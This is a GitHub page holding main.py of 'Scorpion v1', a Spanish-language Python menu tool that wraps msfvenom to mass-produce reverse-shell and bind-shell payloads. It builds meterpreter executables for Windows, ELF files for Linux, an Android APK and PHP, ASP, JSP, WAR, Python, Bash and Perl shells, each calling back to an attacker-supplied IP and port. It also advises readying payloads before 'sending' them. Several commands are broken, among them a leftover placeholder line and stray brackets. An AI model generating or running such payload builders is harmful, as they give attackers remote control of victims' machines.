-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
350 lines (290 loc) · 15.9 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
import os, time, sys, socket
from colorama import Fore, Back
name = socket.gethostname()
ipv4 = socket.gethostbyname(name)
contador = 0
RED = '\033[31m'
BLUE = '\033[34m'
RESET = '\033[39m'
def salir():
os.system('clear')
print(Fore.RESET + Back.RESET)
sys.exit()
def volver_menu():
os.system('clear')
title = '''
.__ .__
___ ______ | |___ __ ___________ _____ | | _____ ____ ____ __ __
\ \/ / _ \| |\ \/ // __ \_ __ \ \__ \ | | / \_/ __ \ / \| | \
\ ( <_> ) |_\ /\ ___/| | \/ / __ \| |__ | Y Y \ ___/| | \ | /
\_/ \____/|____/\_/ \___ >__| (____ /____/ |__|_| /\___ >___| /____/
\/ \/ \/ \/ \/
'''
print(Fore.RED + Back.RESET + title)
choice = input(Fore.BLUE + Back.RESET + f'{name}@Scorpion:~$ [Presiona cualquier tecla para volver al menu]: ')
print(Fore.RESET + Back.RESET)
menu()
def ver_payloads():
os.system('clear')
title = '''
.__ .___
___ __ ___________ ___________ ___.__.| | _________ __| _/______
\ \/ // __ \_ __ \ \____ \__ \< | || | / _ \__ \ / __ |/ ___/
\ /\ ___/| | \/ | |_> > __ \\___ || |_( <_> ) __ \_/ /_/ |\___ \
\_/ \___ >__| | __(____ / ____||____/\____(____ /\____ /____ >
\/ |__| \/\/ \/ \/ \/
'''
print(Fore.RED + Back.RESET + title)
print(Fore.BLUE + Back.RESET + '[>] Todos los payloads posibles')
print(Fore.BLUE + Back.RESET + '--------------------------------------------------------------------------------------------------------------')
os.system('msfvenom -l payloads')
print(Fore.BLUE + Back.RESET + '--------------------------------------------------------------------------------------------------------------')
choice = input(Fore.BLUE + Back.RESET + f'{name}@Scorpion:~$ [Presiona cualquier tecla para volver al menu]: ')
print(Fore.RESET + Back.RESET)
menu()
def error():
os.system('clear')
title = '''
__________________ ___________
_/ __ \_ __ \_ __ \/ _ \_ __ \
\ ___/| | \/| | \( <_> ) | \/
\___ >__| |__| \____/|__|
\/
'''
print(Fore.RED + Back.RESET + title)
print(Fore.BLUE + Back.RESET + '[>] Error: Command not found\n')
choice = input(Fore.BLUE + Back.RESET + f'{name}@Scorpion:~$ [Presiona cualquier tecla para volver al menu]: ')
print(Fore.RESET + Back.RESET)
menu()
def windows():
os.system('clear')
title = '''
.__ .___ .__ .___
__ _ _|__| ____ __| _/______ _ ________ ___________ ___.__.| | _________ __| _/______
\ \/ \/ / |/ \ / __ |/ _ \ \/ \/ / ___/ \____ \__ \< | || | / _ \__ \ / __ |/ ___/
\ /| | | \/ /_/ ( <_> ) /\___ \ | |_> > __ \\___ || |_( <_> ) __ \_/ /_/ |\___ \
\/\_/ |__|___| /\____ |\____/ \/\_//____ > | __(____ / ____||____/\____(____ /\____ /____ >
\/ \/ \/ |__| \/\/ \/ \/ \/
'''
print(Fore.RED + Back.RESET + title + '\n')
def linux():
os.system('clear')
title = '''
.__ .__ .__ .___
| | |__| ____ __ _____ ___ ___________ ___.__.| | _________ __| _/______
| | | |/ \| | \ \/ / \____ \__ \< | || | / _ \__ \ / __ |/ ___/
| |_| | | \ | /> < | |_> > __ \\___ || |_( <_> ) __ \_/ /_/ |\___ \
|____/__|___| /____//__/\_ \ | __(____ / ____||____/\____(____ /\____ /____ >
\/ \/ |__| \/\/ \/ \/ \/
'''
print(Fore.RED + Back.RESET + title + '\n')
def android():
os.system('clear')
title = '''
.___ .__ .___ .__ .___
_____ ____ __| _/______ ____ |__| __| _/ ___________ ___.__.| | _________ __| _/______
\__ \ / \ / __ |\_ __ \/ _ \| |/ __ | \____ \__ \< | || | / _ \__ \ / __ |/ ___/
/ __ \| | \/ /_/ | | | \( <_> ) / /_/ | | |_> > __ \\___ || |_( <_> ) __ \_/ /_/ |\___ \
(____ /___| /\____ | |__| \____/|__\____ | | __(____ / ____||____/\____(____ /\____ /____ >
\/ \/ \/ \/ |__| \/\/ \/ \/ \/
'''
print(Fore.RED + Back.RESET + title)
def menu():
os.system('clear')
time.sleep(1)
title = f'''
......
.+*+:. [ 🅢 🅒 🅞 🅡 🅟 🅘 🅞 🅝 ] -----------------------------
.-##.
.*#*. [!] By 3xpl017: https://www.github.com/3xpl017
.+%*.. [>] Scorpion v1: Payload generator with MsfVenom
:#*-.
-##= [!] Utiliza este software con propósitos éticos
:%#=. [>] Ip: {ipv4}
.*@%. [>] Nombre de la máquina: {name}
.#%%: =+=..
.:=*#**#=--:. ..+.-:+**=.
-=:-:.-#***++===:.--.=+=*+-.
.=. .:+##%*##**++++==-.**-.-++:.
.:==. :*+=..+%#######*=====+-*=--+=.:---:...
.... .+=. :*###%#**#@@%#*#@#+#:.++***+@#+===-.
..*: :*...-**%%%%@%%@%%%@%##%#+:...-+#*++=..
.=-...=+. .=++*++***#%%@%===:.. ....=+*#-.
.-=. :++====+*+==:...... :***-.
.... .*%#**###*+-... .......
.#*####%%%%%####*+:.
.:+###%%@%##%#*=:.
.........
'''
print(Fore.RED + Back.RESET + title)
options = '''
[00] Salir
[01] Empezar a generar payloads con MsfVenom
'''
print(Fore.BLUE + Back.RESET + options)
choice = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ ')
if choice == '00':
salir()
elif choice == '01':
os.system('clear')
time.sleep(1)
options = '''
------------------------------------------------------------------------------------------
[!] Es aconsejable darle permisos a los payloads antes de enviarlos con chmod.
[00] Salir
[01] Volver al menú
[02] Ver la lista de payloads disponibles
[03] Generar payloads para Windows
[04] Generar payloads para Linux
[05] Generar payloads para Android
[06] Generar payloads en diferentes lenguajes
------------------------------------------------------------------------------------------
'''
print(Fore.BLUE + Back.RESET + options)
choice = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ ')
if choice == '00':
salir()
elif choice == '01':
volver_menu()
elif choice == '02':
ver_payloads()
elif choice == '03':
windows()
options = '''
[00] Salir
[01] Volver al menú
[02] Ver todos los payloads posibles para Windows
[03] Generar payloads para Windows
'''
print(Fore.BLUE + Back.RESET + options)
choice = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ ')
if choice == '00':
salir()
elif choice == '01':
volver_menu()
elif choice == '02':
windows()
print(Fore.BLUE + Back.RESET + '[>] Todos los payloads posibles para Windows')
print(Fore.BLUE + Back.RESET + '--------------------------------------------------------------------------------------------------------------')
os.system('msfvenom -l payloads | grep windows')
print(Fore.BLUE + Back.RESET + '--------------------------------------------------------------------------------------------------------------')
choice = input(Fore.BLUE + Back.RESET + f'{name}@Scorpion:~$ [Presiona cualquier tecla para volver al menu]: ')
print(Fore.RESET + Back.RESET)
menu()
elif choice == '03':
contador = 0
windows()
port = int(input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa el puerto]: '))
ip = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa tu IP]: ')
archivo = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa el nombre de tu payload]: ')
os.system(f'msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe > {archivo}_{contador}.exe')
contador += 1
os.system(f'msfvenom -p windows/meterpreter/reverse_http LHOST={ip} LPORT={port} HttpUserAgent="Mozilla/5.0 (Windows NT10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > {archivo}_{contador}.exe')
contador += 1
os.system(f'msfvenom -p windows/shell/reverse_tcp LHOST={ip} LPORT={port} -f exe > {archivo}_{contador}.exe')
contador += 1
os.system(f'msfvenom -p windows/shell_reverse_tcp LHOST={ip} LPORT={port} -f exe > {archivo}_{contador}.exe')
contador = 0
print('\n[>] Payloads generados en tu directorio actual.')
choice = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Presiona cualquier tecla para volver al menu]: ')
print(Fore.RESET + Back.RESET)
menu()
else:
error()
elif choice == '04':
linux()
options = '''
[00] Salir
[01] Volver al menú
[02] Ver todos los payloads posibles
[03] Generar payloads para Linux
'''
print(Fore.BLUE + Back.RESET + options)
choice = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ ')
if choice == '00':
salir()
elif choice == '01':
volver_menu()
elif choice == '02':
linux()
print(Fore.BLUE + Back.RESET + '[>] Todos los payloads posibles para Linux')
print(Fore.BLUE + Back.RESET + '--------------------------------------------------------------------------------------------------------------')
os.system('msfvenom -l payloads | grep linux')
print(Fore.BLUE + Back.RESET + '--------------------------------------------------------------------------------------------------------------')
choice = input(Fore.BLUE + Back.RESET + f'{name}@Scorpion:~$ [Presiona cualquier tecla para volver al menu]: ')
print(Fore.RESET + Back.RESET)
menu()
elif choice == '03':
contador = 0
linux()
port = int(input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa el puerto]: '))
ip = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa tu IP]: ')
ip_remota = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa la IP remota]: ')
archivo = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa el nombre de tu payload]: ')
os.system(f'msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f elf > {archivo}_{contador}.elf')
contador += 1
os.system(f'msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=[IPRemota] LPORT=[PuertoEscucha] -f elf > shell.elf')
contador += 1
os.system(f'msfvenom -p linux/x86/meterpreter/bind_tcp RHOST={ip_remota} LPORT={port} -f elf > {archivo}_{contador}.elf')
contador += 1
os.system(f'msfvenom -p linux/x64/shell_bind_tcp RHOST={ip_remota} LPORT={port} -f elf > {archivo}_{contador}.elf')
contador += 1
os.system(f'msfvenom -p linux/x64/shell_reverse_tcp RHOST={ip_remota} LPORT={port} -f elf > {archivo}_{contador}.elf')
contador = 0
print('\n[>] Payloads generados en tu directorio actual.')
choice = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Presiona cualquier tecla para volver al menu]: ')
print(Fore.RESET + Back.RESET)
menu()
else:
error()
elif choice == '05':
android()
options = '''
[00] Salir
[01] Volver al menú
[02] Ver todos los payloads posibles
[03] Generar payloads para Android
'''
print(Fore.BLUE + Back.RESET + options)
choice = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ ')
if choice == '00':
salir()
elif choice == '01':
volver_menu()
elif choice == '02':
android()
print(Fore.BLUE + Back.RESET + '[>] Todos los payloads posibles para Android')
print(Fore.BLUE + Back.RESET + '--------------------------------------------------------------------------------------------------------------')
os.system('msfvenom -l payloads | grep android')
print(Fore.BLUE + Back.RESET + '--------------------------------------------------------------------------------------------------------------')
choice = input(Fore.BLUE + Back.RESET + f'{name}@Scorpion:~$ [Presiona cualquier tecla para volver al menu]: ')
print(Fore.RESET + Back.RESET)
menu()
elif choice == '03':
android()
port = int(input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa el puerto]: '))
ip = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa tu IP]: ')
archivo = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa el nombre de tu payload]: ')
os.system(f'msfvenom -p android/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -o {archivo}.apk')
print('\n[>] Payload generador en tu directorio actual')
choice = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Presiona cualquier tecla para volver al menu]: ')
print(Fore.RESET + Back.RESET)
menu()
else:
error()
elif choice == '06':
os.system('clear')
port = int(input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa el puerto]: '))
ip = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Ingresa tu IP]: ')
os.system(f'msfvenom -p php/meterpreter_reverse_tcp LHOST={ip} LPORT={port} -f raw > shell_PHP.php')
os.system("cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php")
os.system(f'msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f asp > shell_ASP.asp && msfvenom -p java/jsp_shell_reverse_tcp LHOST={ip} LPORT={port} -f raw > shell_JSP.jsp && msfvenom -p java/jsp_shell_reverse_tcp LHOST={ip} LPORT={port} -f war > shell_WAR.war && msfvenom -p cmd/unix/reverse_python LHOST={ip} LPORT={port} -f raw > shell_PY.py && msfvenom -p cmd/unix/reverse_bash LHOST={ip}] LPORT={port}] -f raw > shell_SH.sh && msfvenom -p cmd/unix/reverse_perl LHOST={ip} LPORT={port} -f raw > shell_PL.pl')
print('[>] Payloads generador en tu directorio actual')
choice = input(Fore.RED + Back.RESET + f'{name}@Scorpion:~$ [Presiona cualquier tecla para volver al menu]: ')
print(Fore.RESET + Back.RESET)
menu()
else:
error()
else:
error()
menu()